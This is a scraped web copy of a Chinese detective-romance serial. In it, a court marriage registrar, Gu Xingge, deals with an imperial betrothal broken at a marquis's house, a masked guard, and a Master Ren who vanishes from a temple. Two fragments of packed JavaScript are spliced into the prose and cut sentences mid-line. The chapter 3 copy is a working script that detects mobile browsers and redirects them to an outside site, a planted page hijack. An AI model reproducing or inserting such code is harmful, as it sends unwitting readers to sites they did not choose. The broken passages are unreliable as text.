《谁在乱点鸳鸯谱(探案)》 1. 香火不渡(一) 大齐京城,长庆宫,嫩柳刚抽芽,春意乍浓。 “般配,般配!” 皇帝翻到婚书的最后一页,龙颜大悦,笑的很满意。 御书房内,顾行歌立于下首,此时她才悄悄松了口气。安成侯的这桩亲事,如今看来,是十拿九稳了。 大齐的这位陛下,治国有方,勤政爱民,是个难得的好皇帝。 只是这人吧,也有一小癖好——爱赐婚。 若是让他瞧见谁家儿郎与谁家姑娘眉来眼去,只怕第二日赐婚圣旨就来了。 为防止他一时兴起乱点鸳鸯谱,百官只得商议设立合婚司,由朝廷派人查八字、看性情、问意愿,拉郎也要拉得心甘情愿,才好奉旨成亲。 而负责撮合这等亲事的头一号人物,正是如今站在殿中的合婚司主簿,顾行歌。 皇帝将名册递给身侧执笔的太监,笑道:“安成侯家的幺娘,和吏部王尚书之子,朕瞧着甚是登对。明日一早,便下旨赐婚。顾卿,这一桩,辛苦你了。” 顾行歌忙俯身行礼,声调温顺:“分内之事,不敢称劳。” 这回安成侯的亲事看似水到渠成,实则一波三折。她为此奔波了近半载,甚至连两家新人的生辰八字,都让礼部的同僚重新推算了好几遍。 如今圣上满意,亲事也算落定,顾行歌长舒一口气,盘算着一会回官署先来碗馄饨压压惊,再找人聊聊天,喝口热茶,把这几个月奔波的疲惫一并消一消。 结果她刚迈出御书房半步,身后就悠悠飘来一句: “还有一事。” 顾行歌身形一顿,只得把那刚跨出的左脚,不情不愿地收回来。 “怀州,回京也有些日子了。”皇帝像是在闲话家常,“太后催得紧。朕想着,来年也给他赐门亲事。” 顾行歌一怔,耳边嗡嗡作响,几乎未听清后话。 怀州?魏怀州? 她未曾与这位新上任的魏大人见过面,但这名字,倒是如雷贯耳。 听说近来,京中女眷议亲榜上,最想嫁的,是他。 最不想嫁的,也是他。 倒也算得上,是个人物了。 “那孩子不爱说话,闷葫芦一个。”皇帝笑着说,“你们合婚司得费点心思。既要叫他点头,又得叫人家姑娘愿意才成。这事,就交给你了。” 顾行歌垂首,心中轻轻叹了口气,不过嘴上仍是规规矩矩地应道:“臣领旨。” 话音刚落,皇帝手一挥,顾行歌立刻如临大赦,还未等到圣旨落笔,便夹着卷宗,脚底抹油般快步冲出御书房。 一路疾行至宫门口,合婚司书吏赵清正抱着一摞文书候着,见她风风火火地跑过来,不禁一愣:“顾主簿,你这是怎么了?跑得跟后头有鬼似的。” 顾行歌头也不回,直接一抬手掀起马车帘子,一脚登了上去:“圣上要我给魏大人做媒。” 赵清脚下一绊,差点把文书掉了,声音陡然拔高:“哪个魏大人?莫不是大理寺那位,鬼判魏怀州?” 顾行歌顾不上理会他,手一放,马车帘子哗啦一声落下。 赵清也赶忙钻进车里,马车一颠一颠晃起来,他凑近道:“我听说这位上任不到一月,已连判三案,清一色的死刑,且件件都是京中权贵之家。前几日立春,姚侍郎送了他些节礼,结果第二天,他那大舅哥便被带去问话……” 他压低声音:“你说,谁家姑娘敢嫁与他啊?” 顾行歌靠着车壁,闭目片刻,叹出一声:“确实是个烫手山芋。” “可你说,这差事我敢不接么?圣上当面开口,我若不点头,怕是今日咱们合婚司就得被发配到月老庙去当香火官了。” 说罢,她抬手按了按眉心,神色颇有些疲惫:“怪不得今早出门时,总觉不大顺当。我还特意让老郑给我卜了一卦。” 赵清忙问道:“可卜出了什么?” “说我今日大凶,命犯小人,定有灾祸。”顾行歌一脸正经,“我当时还琢磨,是不是哪家新妇要闹和离,结果一进御书房才晓得,原来是圣上要我给魏怀州牵红线。” 说罢,她呼出一口气,拍了拍胸口,似是安慰自己:“不过细细一想,这事也未必难。不管牵谁,只要魏大人不点头,那这亲事也就成不了,我这大凶,也算是给躲过去了。” 赵清听罢,神色微妙,干笑两声,张了张嘴,却终究没说出话来。 顾行歌察觉不对,睨他一眼:“你这脸色怎么跟刚灌了酸韭汤似的?安成侯府的那桩亲事不是已经妥当了,等明日圣旨一下,我请客,街口那家馄饨铺,一人一碗,再来两份鱼鲙。” 赵清讪讪一笑:“不是……” 他顿了顿,眼神飘忽,小心翼翼道:“方才你进宫那会儿,安成侯府派人递了口信。” 顾行歌原本半倚着身,一听这话,立马坐直了:“说什么?” 赵清犹豫片刻,终是横了心一口气道:“说,他们家小姐,不嫁了。” “不嫁?”顾行歌一时没反应过来,“不嫁何意?” 赵清一脸为难,挠了挠头:“说是他家小姐和他人一见倾心,如今心意已决,要退亲。” 车内一时安静了下来。 良久,顾行歌才幽幽开口:“可明日一早,圣旨就要下了。” “是啊。”赵清叹道,“安成侯方才派人,说请无论如何,请即刻赴府一趟。” 退亲这事,要搁寻常人家,大多是各退一步罢了,大不了写封退亲书、赔些聘礼,闹得再大,也就是坊间多几句闲话。 可这回的亲事是圣上钦点的,圣旨一出,再反悔,那就是抗旨。别说安成侯要脱一层皮,她顾行歌这个牵线人,也逃不脱个渎职二字,轻则罚俸,重则……怕不是真要去月老庙当香火官了。 想到这里,顾行歌头皮一阵发紧,半晌才低声啐了一句:“老郑那一卦,算得也太准了点。” 她侧头望向马车外,此时外头春光正好,阳光透过新绿的枝桠照在地上,喜鹊在枝头吱哇乱叫,正是一派春和景明的好景像。 顾行歌喃喃道:“好一个春光明媚,百事不顺。” 此时,光德坊的安成侯府,也无人顾得上赏春。 府内人仰马翻,丫鬟小厮来来去去乱做一团,连门房都临时换成了两个老成点的家生仆守着,生怕这桩退亲的风声传出门外。 正厅之中,安成侯一边来回踱步,一边念叨:“她一个姑娘家,说什么双宿双飞,这都是哪儿来的混账话!” 侯夫人坐在一旁,手里攥着绢帕:“她自小就心气高,是咱们一手宠大的,怪我。” “哎,不怪你!”安成侯连连摆手,恨恨道,“怪只怪那姓任的小子,行止轻浮,专会哄人!” 安成侯府自祖上那一代封了侯,传到如今这一支,只剩爵位这一层空皮,人早已离了权势的中心。不过好赖与圣上多多少少沾点远房亲,还能吊着一口半死不活的贵气,在京中占得个一席之地。 府上有一女一子,嫡女幺娘,年方十七,正是择婿的好年纪。容貌自不必说,才学亦是出众,尤擅书艺,所书字帖,京中不少闺阁皆争相临摹。原本家中托合婚司替她相中了户部尚书王家的嫡子,门第,品行,才学皆无可挑剔,其实于安成侯府而言,这门亲事倒也算得上高攀了。 谁知三日前,幺娘去了趟慈华寺,在寺中偶遇一位任姓公子,从寺中回来后,她便一口咬定与那任公子八字相合、天定良缘,无论如何也不肯再提王家半句。 “可那任公子是何出身都查不明,指不定家境贫寒,幺娘却偏要一意孤行。”安夫人低声叹道,“今儿个还摔了妆匣,说若不退亲,她便……” “她便如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好。”顾行歌笑了一下,“那我就多嘴几句。” 她坐到一旁,将衣摆上的褶皱抚平:“前些日子登门拜访时,幺娘小姐神情安然,还同我商议起喜服的花色。” 她话锋一转:“怎的不过几日,风向突变,连亲也不肯结了?府里可是出了什么变故?” 侯夫人犹豫片刻后,终于开了口:“顾大人,小女自幼顽劣,是我教养无方。原本这桩婚事两家都说好了,王家那孩子,我也是真心满意的。可谁料前些时日她去了一趟慈华寺,回来后……便说自己心有所属。我听着荒唐,劝了几回也劝不动。” 她抬眼望向顾行歌,恳求道:“顾大人,您明理,合婚司向来不强求姻缘。如今婚书虽在,若是能从您那头想个法子,让这婚事退得体面些,也不伤了王家面子,那便是,再好不过。” 安成侯一听就急了,忙着打断侯夫人的话:“胡闹。与王家婚事已定,如今怎能凭幺娘一句话就推翻?顾主簿,你们合婚司的,是讲礼制,讲道理的地方。得替我劝劝幺娘,把她那点糊涂念头掰回来!” 侯夫人抿了抿唇,不再辩,只眼巴巴地望向顾行歌。 顾行歌此刻倒是变得不慌不忙,捧起茶盏轻抿了一口。 她正欲开口,却见一小丫鬟慌慌张张冲了进来: “老爷,外头来了一位公子,自称姓任,说是要见小姐。” 厅内气氛倏然一紧。 安成侯脸色顿时不好了,侯夫人手中帕子也攥得死紧。屋里几个伺候的,也都低下头,讳莫如深。 顾行歌扫了两人一眼,若有所思道:“莫不是,慈华寺里的那位?” 她这话还未说完,门外又是一阵脚步声夹着通报声传了进来。 这回是个小厮,一路小跑进来,气还没喘匀,便高声道: “老爷,吏部王尚书家的王公子到了。说是特来拜见您,顺,顺便看看小姐。” 话音一落,厅中顿时没了声息。 众人你看看我,我看看你,神情各异,一时竟无人敢先开口。 站在角落的赵清往后缩了缩,小声嘀咕道:“嚯,双男抢亲,修罗场啊。” 2. 香火不渡(二) 安成侯到底是官场里摸爬滚打多年的老油条,只一眼,侯夫人便立即领着几个仆从,带着方才通报的丫鬟小厮,识趣地出了正厅。 屋里顿时清净了几分。 安成侯换了副口气,笑着朝顾行歌说道:“顾主簿,你看这一场闹得……不成体统。不如这样,你先去侧院歇歇,我稍后再来同你细说。” 紧接着,他冲着屋内仅剩的一个丫鬟嘱咐道:“把顾主簿带过去,好生伺候。” 虽是逐人,却又不失礼数,叫人挑不出半点不是。 顾行歌心下了然,也不点破,笑着回了个礼:“如此便多谢侯爷。” 转身带着赵清往侧院去了。 才走出正厅几步,就到了一处小花园,见这里无人,赵清便忍不住扯着顾行歌袖子,一脸惋惜:“啧,可惜了,眼看一场双男争一女的好戏就要上演,我们却看不到。” 顾行歌失笑:“你还真入戏。” “哎,那可不是,”赵清凑近些,“前头任公子才上门,王公子就追着来了,这要搁春华园的折子戏里,接下来不打起来都说不过去。” 顾行歌笑着摇摇头,没接话。 这安成侯府虽不大,偏偏屋舍花木绕得精巧,他们从那花园出来走了一阵了,又走上了一处游廊。 赵清看了看前方带路的丫鬟,确定她听不到后,小声说;“主簿,我总觉着这侯府,怎么有点不对劲。” “哪儿不对劲?”顾行歌顺口问。 赵清点点头:“方才那侯爷张口闭口不许退亲,侯夫人却低声下气,要悄悄撤了这桩亲事,这一家人怎的再说两家话?再说了,退亲是抗旨,难不成侯夫人就不怕驳了圣上面子?” 顾行歌斜他一眼:“赵清啊赵清,这回的安成侯府亲事的卷宗,你怕是连第一页都没看完吧。” “我……”赵清一时语塞。 顾行歌收了笑意,声音低了几分:“你以为安成侯的爵位,是自己袭来的?” 赵清眼前一亮:“难不成是。” “这安成侯的爵位,是侯夫人的祖父求来的恩典。”顾行歌解释道,“如今的安成侯,是赘婿。” 赵清啊的一声,差点绊倒,“难怪。” “所以啊,真闹起来,侯夫人才不怕。”顾行歌笑着道,“毕竟她才算是和圣上沾亲带故,这点事儿能闹到哪儿去?可这侯爷就不一样了,爵位不是他的,面子却得他撑,皇上的旨意,他能不怕?” 赵清恍然大悟:“是我疏忽了。” 顾行歌接着说道:“我倒觉得,这场戏还没唱完呢。我们先……” 她话还未说完,前头引路的丫鬟忽然停下了脚步。 顾行歌顺着她的视线望去,只见前方游廊拐角处,站着一人,身着锦服,身形略圆,正高举着一把折扇挥舞。 这人顾行歌认得,正是王尚书家的独子,王景,安成侯府原本择定的乘龙快婿。 她此前因这桩亲事,与这位王景打过几回照面,算得上是熟人。此时见着,便朝他走了几步,准备寒暄几句。 谁知刚走近没几步,余光一扫,忽觉王景身后还立着一人。 那人比王景高了不止一个头,一身黑袍剪裁简单,却将身形轮廓衬得利落分明,腰间挂着一把佩刀,虽是侍卫打扮,却站得比王公子还正些,让人有些移不开眼。 只是他脸上缠着一方黑色巾帕,仅露出一双眼,看不出长什么样。 顾行歌一时有些琢磨不透此人到底是何来路。 王景先一步迎上来,他五官也算端正,只是脸颊肉鼓鼓的,眉眼一挤,就显得憨气十足。方才跑了几步,便有点气喘吁吁:“顾主簿,真是好久不见。” 顾行歌颔首还礼:“见过王公子。”目光却仍落在后面那人身上,“这位是?” 王景像是被问住了,愣了一会才回答道:“啊,他是我府上的……侍卫。” “顾主簿也知道,京中最近不太太平。”他挠了挠鼻子,勉强笑了一下,“前些日子不是闹出几桩中毒的案子吗?刚好我这位侍卫也略懂些医术,我爹怕我出了什么岔子,就叫他跟着我一块儿出来了。” 顾行歌点点头。京城近日确实不大太平。数起命案接连发生,死的多是贵胄子弟。且皆是中毒而亡。但毒从何来、概无迹可寻。更诡异的是,到今日都查不出是误服,还是有人故意投毒。此事一时间闹得人心惶惶。圣上为此龙颜震怒,下旨务必在太后寿宴之前破获此案。 如今,大理寺、刑部、京兆尹三家联手,凡是能盘查、能拘人的衙门,全都忙得鸡飞狗跳。 王景走近两步接着说道:“顾主簿既然来了,是不是说明,我好事将近?” 顾行歌尴尬地笑了两声,敷衍地点了点头:“但愿如王公子所愿。” 王景显然听出她话里并无实意,却也不恼,打着哈哈转了话头:“顾主簿自便,我去拜见岳丈。” 言罢拱拱手,将折扇随手别在腰间,自顾自往正厅去了。 顾行歌站在原地,目光却往他身后的侍卫身上扫了一眼,才发现此人竟生了一双桃花眼,但却不显风流,到像是藏着三分戒备。 那侍卫察觉顾行歌在看他,目光微顿,却未避让,只略微侧过身,从顾行歌身边擦肩而过。 顾行歌挑了挑眉,心中一顿计较,但此时也看不出个名堂,只好作罢,跟着引路的丫鬟往侧院去了。 到了侧院后,顾行歌还在想那人到底长什么样子,以及为何要带个黑布。 赵清煞有介事地说:“这简单啊,王公子那副模样……若我是他,身边要是有个出挑的侍卫,我也要想法子让他蒙上块布,省得自己更没得看。” 顾行歌失笑:“你这推理法子,倒也新鲜。” 正说着,外头却远远的传来一阵窸窸窣窣的吵嚷声。 顾行歌闻声起身,顺着游廊小跑出去,绕过转角,只见花园中站了好几人。 安成侯和夫人站在一侧,神色难堪。王景则一脸怒气冲冲。而他斜对面,站着一女子,低垂着头,正是幺娘。而她旁边站着一白衣男子,看起来不过二十出头,面容清俊,只是瘦的厉害。 顾行歌眉头一皱,心道:这位怕就 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王景头一回见幺娘,是去慈华寺替母亲还愿,那时正值初秋,幺娘站在寺前斟水净手,雪肤玉腕,一回首,他就觉着心上像是被谁轻轻敲了一下。 他这辈子头一回动了心,回家之后食不知味、夜不能寐,一连几日魂不守舍,最后还是硬着头皮求了父亲出面,牵上了这一缕红线。王家原本还觉着安成侯府早没什么油水,若不是王景吵得太紧,原也未必真应下。 如今倒好,人是他硬生生倒贴上去的,亲事也是他千方百计求来的,到头来却成了笑话,换作谁,也咽不下这口气。 可惜那幺娘低着头,不哭不闹,一点不怵他,看着还是那般动人。王景气归气,终究没敢再上前半步。 此时,站在一旁许久未言的那位任公子忽而开了口:“她不愿嫁你,自有她的道理。你也不妨回去照照镜子,就你这长相,也配得上她?” 这话一出,众人皆是一愣。 若说王景是那种一看便知家境优渥、却因相貌平平,而让人提不起多少兴致的世家公子。那眼前这位任公子,便是话本子里才有的那种人物,身形清瘦,气质清冷、若是被他看一眼,心中免不了会浮起一丝莫名的羞意。 赵清小声咕哝:“这任公子,模样倒是出挑,说话却忒不留情面。” 顾行歌也觉得这话说的实在不太得体,可她侧目一看,却见安成侯自始至终站在一旁,脸色虽不大好看,偏偏就是一言不发,对着任公子连半句训斥都没有。 这可真稀奇。 王景气得脸色由红转紫,扯着嗓子道:“得了!也不劳顾主簿再费心,我今儿便回去求我爹,把这桩亲事撤了!” 说完,他袖子一甩,头也不回地走了。 过了半晌,安成侯才像回过神来,转身说道:“你把亲事闹黄了,你阿弟将来怎么办,这硕大的侯府,以后怎么办?” 说完便也快步追着王景去了,连个眼神都不曾留给眼前这个闯了祸的女儿。 3. 香火不渡(三) 幺娘听了安成侯那番话,方才还淡然的神色,此刻倒是变化了起来,眼眶微红,似是有点想哭的意思,却又强忍着,始终没让眼泪掉下来。 任公子站在一侧,看她神色有异,终究还是忍不住俯下身去,想要扶她一把。手还没碰到幺娘,她却像是忽然惊觉回了神,悄悄往后一缩,避开了。 顾行歌站在不远处,看着方才安成侯匆匆离去的背影,心里已有了数。 这门亲事,大抵是再续不得了。 如今王家那位自己一腔怨气甩袖而去,主动去退亲。这样的话,外人看来,多半只当这门亲事,是男方变卦。 吏部尚书可是朝堂正经的实权官,说句不客气的,天塌下来也有他顶着。这次的亲事,旁人最多只敢在茶盏后头闲说几句,应该是无人敢把这事放到明面上说。 如此一来,合婚司这头,面子倒还勉强挂得住。只不过今年的官吏考课,多半是要落在将将及格一栏了,年终的赏银怕是要打水漂了。 顾行歌想到这儿,心底还是叹了口气。可又转念一想,若这退亲是王家自己去递折子,左右不劳她亲自进宫回禀,那对于合婚司,对于她自己来说,便也还算不上最坏的结局。 她心头略松了口气,抬眼却又扫向花园那头的幺娘。 只是…… 这位王公子,素日也算厚道人,京中女眷私下里倒也有人说他性子温和、知礼节。可今这一遭,谁都看得出来,他是气狠了。 若真在圣上那边吐露半句方才花园所见,那幺娘,一个尚未出阁的姑娘,名声怕是全毁了。 顾行歌思及此,往前走了几步:“侯夫人,幺娘小姐,亲事既要退,旁人嘴碎,难免议论。事是怎么传出去的,你我管不住,但话传成什么样子,总得有人提前想一想。” “想全身而退不易,但若能与王府那边通个气,少叫自己名节蒙尘,之后也能多点余地。” 幺娘闻言,抬头看了她一眼,半晌才低声道:“多谢顾主簿指点。” 顾行歌心里轻叹一声。她记得当初合婚司内部还都十分看好这门亲事,如今竟走到这般田地,着实令人唏嘘。 侯夫人也只是叹气:“此事闹到这般地步,也是我们侯府对不住你们合婚司。” 顾行歌摆摆手:“夫人言重了。这姻缘之事,原就是合则聚,不合则散。本就是常事。” 说到此处,她顿了顿,又补了一句:“若王公子真退了亲,聘礼退还、文书修订等后续事宜,仍得贵府配合。届时,怕是要叨扰侯夫人几趟。” 侯夫人连连点头:“那是自然。若有差遣,尽管来唤。” 顾行歌点点头。王家的亲事算是有了个了结,至于幺娘和这任公子,往后要如何发展,这是顾行歌管不到的,也不想管的。所以她拱手行礼,打算离开。 谁知路过任公子时,一缕淡淡的香味随风飘来。初闻是檀香,却又夹杂着一丝不易察觉的药味,味道似有似无,却不陌生。 这香味,顾行歌可识得。她脚步一顿,转头看了任公子一眼:“这位公子,可是常用慈华寺的檀香?” 任公子似未料她忽然问话,略一怔,随即抬袖掩了掩唇,咳嗽两声才回道:“大人怎会知晓?” 顾行歌道:“我也常往那处上香。那后院几位老僧自制的檀香,常贡在偏殿的佛龛旁,寻常人觉着味淡,不大喜爱,只是我这鼻子灵,闻久了便认得。” 任公子半晌后才应了一声:“原来如此。” 顾行歌点点头,目光却还落在他身上。这任公子,确实清俊,只可惜太瘦了些,这身白袍,倒像是披在他身上的,再加上这不停咳嗽的模样,看起来不太像能成亲的样子啊。 不过,现在这门亲事可不归她管。顾行歌也不多言,只略略颔首,转身往外走去。 赵清跟在她身后,小声问:“主簿,那人有问题?” 顾行歌却没搭理他,只望了一眼正厅的方向。 先前始终未曾露面的那位王景的侍卫,此时不知为何竟然出现在正厅内。他站在茶案旁,隔着半开的窗户,朝花园的方向望去。 他手中握着一把折扇,顾行歌略一思索,便记起那是王景今日随手插在腰间之物,想来方才怒气上头,落在了席上。 赵清顺着她的目光看过去,嘀咕了一句:“咦?那人怎么没跟着王公子走?” 顾行歌还没顾得上回答赵清,那侍卫像是察觉到目光,忽地抬头,隔着十数步远与顾行歌的视线撞了个正着。 不过一瞬,他便低下头去,拿着折扇快步从正厅中退下,顿时没了身影。 赵清还没看明白:“走得倒是快。” 顾行歌轻轻皱眉,却也没说话。 -- 五日后。 太平坊的大街上人来人往,街边摊子一家接着一家,空气中混着包子的肉香、炊饼的焦香,还有糖油粑粑的甜香,飘香四溢。 这太平坊位于京城西面,因着地价不高,又紧邻宫门,不少官署衙门都落脚于此,既省了银钱,又方便进宫办差。 正街走到头,迎面就是一家馄饨铺,里头灶火正旺。绕过铺子,往左一拐,再穿过一条只容两人并肩的小巷,尽头那间二进的小院,便是如今的合婚司。 这地方倒也说得上讲究,门上挂了个木牌,上面写着:“奉旨牵线,天成姻缘。”只要不看旁边那歪歪斜斜的柳树,倒还算清雅。 合婚司原是户部下设的小司,名虽响,但无实权,闲杂得很。两年前原主簿急着回乡养老,这新主簿一职却拖了数月也没人愿接。 合婚司眼看就要散摊,户部里那位专管婚丧嫁娶的侍郎孟忧之,一拍板,干脆将自己手下兼门生顾行歌塞了上来。 这孟忧之年少成名,入仕后行事向来不拘一格,提人用人也不讲资历讲排辈,是朝中少见的开明派,但也因此得罪了不少人。 当初让顾行歌顶上合婚司,朝中有人等着看他们出丑。 谁曾想,这女子不但没出丑,反倒把一摊鸡毛蒜皮的婚事理得清清楚楚,断得公道,牵得合情,让那位孟侍郎倒也在朝中扬了口气。 起初顾行歌对这差事也不是没有怨气。寒窗十载,好不容易挤进百官堆,结果一抬头,竟成了朝廷钦点的红娘。 这年头,不会拉郎的读书人不是好官? 可日子久了,看过真心实意的对望,也见过当庭落泪的诀别,她便转了想法。 世间事千头万绪,情爱最难理顺。红线这活儿,总得有人牵。 况且,她牵得还不错。 只是,这官署也寒酸得有些过分了…… 顾行歌抬头望了望那年年掉灰的房檐,一边扒着刚买的馄饨,一边暗暗叹气。 当初孟忧之带她来这小院,还说合婚司在此处只是权宜之计,等户部衙署修整完,迟早把挪回去。 结果两年过去了,孟忧之都升成户部尚书,骑高头大马进出皇城。 可顾行歌跟赵清,老郑三个人还在这小院子当差。每日仍需轮流烧水,扫院,买吃食。 更可气的是,今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860022|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的年终赏银,因这安成侯府亲事的告吹,也没了着落。 顾行歌刚夹起一个馄饨,耳边却传来吱呀一声,院门被推开了。 “主簿,怎得这般早。”老郑的声音传了进来。 老郑,原名郑山越,年近四十,是合婚司里唯一一个经历过姻缘,有家室的人,擅长推八字看面相,专管写婚书,算婚期等难度较大的活,是这合婚司里当之无愧的金口神算。 顾行歌抬手,把桌上那碗特地没放葱花和辣子的馄饨往他那头推了推。 “给你留的。” 老郑连连摆手:“主簿,我家夫人今早说了,那几个中毒的案子还没破……祸从口入啊,我这几日,饭都只在家里吃了。” 话音刚落,赵清抱着一沓子文书进来:“老郑你也太多虑了,那些中毒的,全是皇亲国戚达官贵人,咱这穷衙门不挨边,毒也毒不到咱。” 老郑只轻轻嗯了一声,把那馄饨推给赵清:“你吃你吃。”说罢,就在一旁坐下,对顾行歌说道,“主簿,我去王家查了一番,那王公子确是退了亲,且并未将安成侯府那日的事讲出去。” 顾行歌点了点头:“王景这人虽有些呆气,倒也还是个厚道人。” 老郑却没接话,眼中却闪过了一丝迟疑。 顾行歌看出他神色不对,问道:“还有事?” 老郑摸了摸胡子:“也不算什么大事。就是那天你说的蒙面侍卫,我打听了一下,王家的人说自家护卫一向规矩,从未有过黑布遮面之事。” 他顿了顿,从袖中摸出一张卦纸,压低声音道:“我寻了个好时辰,按着你说的那人模样,你们相遇的时辰,起了一卦。主簿,此人怕是……” “打住。”顾行歌一听他这语调就知不妙,忙抬手止住,“我不是早说了么,你不要没事就乱卜卦,尤其是算与我有关的!” 她是怕的,老郑那一手卜卦,十拿九稳,准得叫人心里发毛。前几日说她有大凶,安成侯府的亲事就吹了。 老郑无奈,叹了口气道:“我不卜便是。只是,主簿还是离那人远一些的好。” 顾行歌眼见老郑那张卦纸还捏在手里,怕他又说出什么不吉利的词来,赶忙转了话头,抬眼看向赵清:“你去查的那件事,有眉目了没?” 赵清正在吃馄饨,边嚼边含糊道:“查了。昨儿一早我去了趟慈华寺。那任公子,是云洲人士,半年前入京,说是身子不太好,就一直住在寺里清修,住的是后山斋房。” 他咽下最后一口,又接着道:“可别看他模样病弱,倒是个才子。慈华寺里那几个和尚说这任公子琴棋书画样样精通,时常有人慕名前来与他礼佛清谈,来得最多的,都是些京中贵门的公子。” 老郑在旁咂了一声:“半年来就能混到那种圈子,若不是有真本事,便是别的手段。” 顾行歌微微点头,正欲再问,外头忽然传来一阵急促脚步声,还未看清人影,便听得咚一声,一个气喘吁吁的小和尚闯到院子里。 赵清眼尖,不由咧嘴笑道:“咦,云信小师傅你怎的来了?” 来人正是昨日赵清在慈华寺搭话的一名僧人。一见赵清,连连合掌行礼,说道:“施主,昨日您走后,那任施主说是晚上要下山去和一位友人相见,可自打出了门,到现在也没回来。寺里上上下下都找了个遍,无人知他去向。方丈说,您昨日来打听过,便让我来一趟。” 说完,小和尚抬起头,乌溜溜大眼睛里满是着急:“您可知道他去哪儿了吗?若有消息,还望施主告知一声。” 4. 香火不渡(四) 慈华寺地处南郊的陇山半山腰上,虽离皇城较远,却因香火灵验、风景清幽,在京中颇有几分人气。尤其是每逢初一十五,那些勋贵之家都会不远万里来此上香。今日这寺前就停满了马车,好不热闹。 顾行歌一行人到这寺中之时,已经是日上三杆。 马车拐过一处树林,停在慈华寺的一处侧门外。云信先下了马车,合掌行了一礼:“小僧先去禀报方丈,几位施主还请稍候。” 他走后不久,赵清略带些歉意地说道:“我昨日去打探消息,怕打听不着,就顺嘴扯了句,说那任公子是我远房表亲。还捏了个借口,说两家旧年有点龃龉,这回是爹娘让我来看看他过的如何。” 他顿了顿,苦着脸补了句:“这慈华寺的和尚八成是听了这套说辞,才死活把找人的事推给我们。说到底,恐怕是这慈华寺不愿担责任。唉,连累你们一道受累,真是不好意思。” 顾行歌笑了笑,她本不打算掺和这桩事,毕竟这任公子也算是砸了她年终赏银的头号人物。 但云信那小和尚也是个有本事的,小脸一绷,苦口婆心地哀求许久。 顾行歌本想一口回绝,可又转念想起了另一桩事。 慈华寺的檀香,她可是惦记许久了。 据说这檀香有修身养性的功效,任公子身上带着那檀香气息,想来是客居此地时沾染上的。 之前,她曾想着买点带回苑川县,孝敬爹娘。结果寺里几个老秃驴坐地起价,恨不得按克秤金。她只能灰溜溜地空手回去,连香灰都没讨着半点。 这回若是能捎带手帮个忙,换点檀香回来,也算没白跑这一遭。 于是她便理直气壮地带着合婚司全员出动,权当一起来踏青。 顾行歌清了清嗓子,煞有介事地道:“既然话都放出去了,说是亲戚,那我们若真撒手不管,岂不是坏了合婚司的名声?没事,左右也是闲着,趁机积点德,顺带给你这位表亲尽尽人情。” 赵清眼睛一亮,忙点头如捣蒜,满脸敬佩:“主簿说的对!” 不多时,云信小和尚蔫头耷脑地出来了,支支吾吾半天才开口:“对不住了,方才方丈被一名贵人召去,恐怕一时回不来。” 赵清闻言倒有些不忿:“你们这专门叫人来,却又不见,这叫什么事。” 云信顿时脸涨红:“是小僧失察,实在是方丈那边,也没交代清楚……” 慈华寺素来香火鼎盛,接待王公贵人也不是头一遭。顾行歌想着,任公子不过是个暂住的外客,方丈若真有要事分身乏术,一时顾不上也属情理。也是正常。 她想了想,对云信道:“既如此,也不强求。” 说罢,又像是随口一提:“你先前不是说任公子昨夜去了山下?不若你领我们去瞧瞧,沿路找找,也好替你省点心。” 云信一听,连忙点头称是,转身引路。 一行人从慈华寺的侧门外绕出,沿着一条蜿蜒的小径一路下行。小径两旁树木茂密,晨间的露水似乎还未干,倒也清净。 云信在前头带路,顾行歌在后头跟着,边走边踢路边的碎石子,突然问了一句:“这任公子失踪的事,你们什么时候打算禀报给安成侯府?” 云信脚步一顿,回头道:“禀报?为何要给侯府禀报。”他想了想接着说道,“方才请走方丈的,好像就是那侯府里的人。” 顾行歌轻轻一笑,道:“原来如此。那你怕是还不知道吧?这任公子,眼看着就要成安成侯府的女婿了。” 云信一脸错愕,挠挠头:“竟是如此?可平日我瞧着,任公子与几位京中的贵公子来往多些,倒是与那位安成侯府的小姐……不算亲近。” 顾行歌眉梢微挑,倒有几分意外。她记得在侯府那回,俩人可是情比金坚,怎到了这寺里,竟像生人似的? 赵清凑近,压低声音笑道:“云信小师傅年纪还小,怕是不懂这男女之间的弯弯绕绕。也许是在寺里见得少。” 顾行歌接着问道:“这安成侯府的小姐,平时来寺里多吗?” 云信想了想,道:“早些年不常来,都是侯爷自己来找方丈,小僧还见不着人。近些日子才偶尔见那位小姐,来侧殿里焚香,但来得也不算勤。” 顾行歌点点头,没再说话。 话本里常是这么写的,庙里香火旺,最易牵情动心。她原也只当是坊间俗语,没放在心上,谁承想,最近倒好,真见着一对在佛前焚香的有缘人。 此时一阵风吹过,带了了点初发芽的枝叶的气息。 前方山脚已然在望,谁知才拐过一截树林,顾行歌忽觉前方似有响动,抬眼看时,果然,小径旁隐约站着一人。 那人一身黑衣,立在树荫下,阳光透过树隙,落在他的身上。 走近几步,才瞧出是个青年男子,身姿挺拔,只是下半张脸上也覆着黑巾,只露出一双眼。 顾行歌一愣:“这不是王家的那位侍卫么?” 那人听到声响,偏头看了眼这边,没说话,只抬手行了一礼,算是回应。 顾行歌打量了他两眼,这人还是穿着那身黑色长衫,腰间佩刀看着不轻,刀鞘顶端被蹭的发亮,一看就是常年不离身。 倒不像个寻常侍卫。 顾行歌笑着搭话:“先前在安成侯府见过一面,不知该怎么称呼?” 那人只抬眼看了他们一眼,并未回答。 顾行歌也不恼,自顾自说下去:“我们是户部合婚司的,我姓顾。” 那人的目光在她脸上略一停顿,最终回了一句:“姓李。” “好呀,那这位李大哥……,”顾行歌声音和煦,“你今日在这寺里,是特地来烧香,还是……” 那人没搭她话,只看了旁边的云信一眼:“和你们一样。” “那就是来找任公子的了?”顾行歌一脸恍然,“那我们可真有缘。” 她也不多问,笑着说道:“既是同路,那一块儿走罢。” 那人没答,沉默片刻,转头就往前走了。 赵清没好气地说道:“主簿!那人好生无礼,你为何要与他笑脸相迎?” 